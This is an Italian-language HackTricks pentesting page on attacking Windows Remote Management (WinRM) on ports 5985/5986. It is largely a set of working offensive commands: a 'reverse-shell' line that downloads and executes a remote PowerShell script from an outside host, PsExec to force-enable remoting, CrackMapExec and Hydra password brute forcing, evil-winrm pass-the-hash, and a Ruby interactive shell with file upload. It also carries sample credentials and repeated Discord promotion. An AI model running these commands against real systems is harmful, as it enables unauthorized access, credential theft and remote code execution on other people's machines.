5985,5986 - Pentesting WinRM

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

WinRM

Windows Remote Management (WinRM) è evidenziato come un protocollo di Microsoft che consente la gestione remota dei sistemi Windows tramite HTTP(S), sfruttando SOAP nel processo. È fondamentalmente alimentato da WMI, presentandosi come un'interfaccia basata su HTTP per le operazioni WMI.

La presenza di WinRM su una macchina consente un'amministrazione remota semplice tramite PowerShell, simile a come funziona SSH per altri sistemi operativi. Per determinare se WinRM è operativo, è consigliato controllare l'apertura di porte specifiche:

  • 5985/tcp (HTTP)

  • 5986/tcp (HTTPS)

Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consentendo tentativi di avviare una sessione remota.

Iniziare una sessione WinRM

Per configurare PowerShell per WinRM, il cmdlet Enable-PSRemoting di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, possono essere eseguiti i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Questo approccio prevede l'aggiunta di un carattere jolly alla configurazione trustedhosts, un passaggio che richiede un'attenta considerazione a causa delle sue implicazioni. Si nota anche che potrebbe essere necessario modificare il tipo di rete da "Pubblica" a "Lavoro" sulla macchina dell'attaccante.

Inoltre, WinRM può essere attivato remotamente utilizzando il comando wmic, come dimostrato di seguito:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.

Testare se configurato

Per verificare la configurazione della tua macchina di attacco, il comando Test-WSMan viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:

  • Per un target che è configurato correttamente, l'output apparirà simile a questo:

Test-WSMan <target-ip>

La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmid, a significare che WinRM è configurato correttamente.

  • Al contrario, per un obiettivo non configurato per WinRM, ciò risulterebbe in nessuna informazione dettagliata, evidenziando l'assenza di una corretta configurazione di WinRM.

Eseguire un comando

Per eseguire ipconfig da remoto su una macchina target e visualizzarne l'output, fare:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Puoi anche eseguire un comando della tua attuale console PS tramite Invoke-Command. Supponiamo che tu abbia localmente una funzione chiamata enumeration e desideri eseguirla su un computer remoto, puoi fare:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Eseguire uno Script

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Ottieni reverse-shell

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Ottieni una sessione PS

Per ottenere una shell interattiva di PowerShell usa Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

La sessione verrà eseguita in un nuovo processo (wsmprovhost) all'interno della "vittima"

Forzare l'apertura di WinRM

Per utilizzare PS Remoting e WinRM ma il computer non è configurato, puoi abilitarlo con:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Salvataggio e ripristino delle sessioni

Questo non funzionerà se la lingua è vincolata nel computer remoto.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Dentro di queste sessioni puoi caricare script PS utilizzando Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Errori

Se trovi il seguente errore:

enter-pssession : Impossibile connettersi al server remoto 10.10.10.175 con il seguente messaggio di errore : Il client WinRM non può elaborare la richiesta. Se lo schema di autenticazione è diverso da Kerberos, o se il computer client non è unito a un dominio, allora deve essere utilizzato il trasporto HTTPS o la macchina di destinazione deve essere aggiunta all'impostazione di configurazione TrustedHosts. Usa winrm.cmd per configurare TrustedHosts. Tieni presente che i computer nell'elenco TrustedHosts potrebbero non essere autenticati. Puoi ottenere ulteriori informazioni eseguendo il seguente comando: winrm help config. Per ulteriori informazioni, vedere l'argomento di aiuto about_Remote_Troubleshooting.

Il tentativo sul client (info da qui):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Hacking Insights Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Real-Time Hack News Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale

Latest Announcements Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Connessione WinRM in linux

Brute Force

Fai attenzione, il brute-forcing di winrm potrebbe bloccare gli utenti.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Utilizzando evil-winrm

gem install evil-winrm

Leggi la documentazione sul suo github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Per utilizzare evil-winrm per connettersi a un indirizzo IPv6, crea un'entrata all'interno di /etc/hosts impostando un nome di dominio all'indirizzo IPv6 e connettiti a quel dominio.

Pass the hash with evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Utilizzando una macchina PS-docker

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Utilizzando uno script ruby

Codice estratto da qui: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Riferimenti

Comandi Automatici HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Approfondimenti sul hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie di hacking in tempo reale Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale

Ultimi annunci Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Supporta HackTricks

Last updated